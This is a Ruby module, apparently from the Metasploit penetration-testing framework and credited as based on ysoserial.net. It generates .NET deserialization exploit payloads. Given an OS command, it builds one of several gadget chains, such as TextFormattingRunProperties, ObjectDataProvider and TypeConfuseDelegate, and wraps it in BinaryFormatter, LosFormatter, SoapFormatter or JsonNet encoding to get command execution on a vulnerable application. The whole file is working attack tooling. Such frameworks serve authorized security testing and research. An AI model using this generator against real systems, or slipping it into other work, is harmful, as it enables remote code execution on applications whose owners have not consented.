require 'bindata' module Msf module Util # # Much of this code is based on the YSoSerial.Net project # see: https://github.com/pwntester/ysoserial.net # module DotNetDeserialization DEFAULT_FORMATTER = :BinaryFormatter DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties def self.encode_7bit_int(int) return "\x00".b if int == 0 # see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582 encoded_int = [] while int > 0 value = int & 0x7f int >>= 7 value |= 0x80 if int > 0 encoded_int << value end encoded_int.pack('C*') end def self.get_ancestor(obj, ancestor_type, required: true) while ! (obj.nil? || obj.is_a?(ancestor_type)) obj = obj.parent end raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required obj end # # Generation Methods # # Generates a .NET deserialization payload for the specified OS command using # a selected gadget-chain and formatter combination. # # @param cmd [String] The OS command to execute. # @param gadget_chain [Symbol] The gadget chain to use for execution. This # will be application specific. # @param formatter [Symbol] An optional formatter to use to encapsulate the # gadget chain. # @return [String] def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER) stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain) self.generate_formatted(stream, formatter: formatter) end # Take the specified serialized blob and encapsulate it with the specified # formatter. # # @param stream [Msf::Util::DotNetDeserialization::Types::SerializedStream] # The serialized stream representing the gadget chain to format into a # string. # @param formatter [Symbol] The formatter to use to encapsulate the serialized # data blob. # @return [String] def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER) case formatter when :BinaryFormatter formatted = Formatters::BinaryFormatter.generate(stream) when :JsonNetFormatter formatted = Formatters::JsonNetFormatter.generate(stream) when :LosFormatter formatted = Formatters::LosFormatter.generate(stream) when :SoapFormatter formatted = Formatters::SoapFormatter.generate(stream) else raise NotImplementedError, 'The specified formatter is not implemented' end formatted end # Get a list of gadget chains that are compatible with the specified formatter. # # @param formatter [Symbol] The formatter to get gadget chains for. # @return [Array] def self.formatter_compatible_gadget_chains(formatter) case formatter when :BinaryFormatter, :LosFormatter chains = GadgetChains::NAMES.select { |name| GadgetChains.const_get(name) <= (Types::SerializedStream) } when :JsonNetFormatter chains = %i[ ObjectDataProvider ] when :SoapFormatter chains = %i[ ClaimsPrincipal TextFormattingRunProperties WindowsIdentity ] else raise NotImplementedError, 'The specified formatter is not implemented' end chains end # Generate a serialized data blob using the specified gadget chain to execute # the OS command. The chosen gadget chain must be compatible with the target # application. # # @param cmd [String] The operating system command to execute. It will # automatically be prefixed with "cmd /c" by the gadget chain. # @param gadget_chain [Symbol] The gadget chain to use for execution. # @return [Types::SerializedStream] def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN) case gadget_chain when :ClaimsPrincipal stream = GadgetChains::ClaimsPrincipal.generate(cmd) when :DataSet stream = GadgetChains::DataSet.generate(cmd) when :DataSetTypeSpoof stream = GadgetChains::DataSetTypeSpoof.generate(cmd) when :ObjectDataProvider stream = GadgetChains::ObjectDataProvider.generate(cmd) when :TextFormattingRunProperties stream = GadgetChains::TextFormattingRunProperties.generate(cmd) when :TypeConfuseDelegate stream = GadgetChains::TypeConfuseDelegate.generate(cmd) when :WindowsIdentity stream = GadgetChains::WindowsIdentity.generate(cmd) else raise NotImplementedError, 'The specified gadget chain is not implemented' end stream end end end end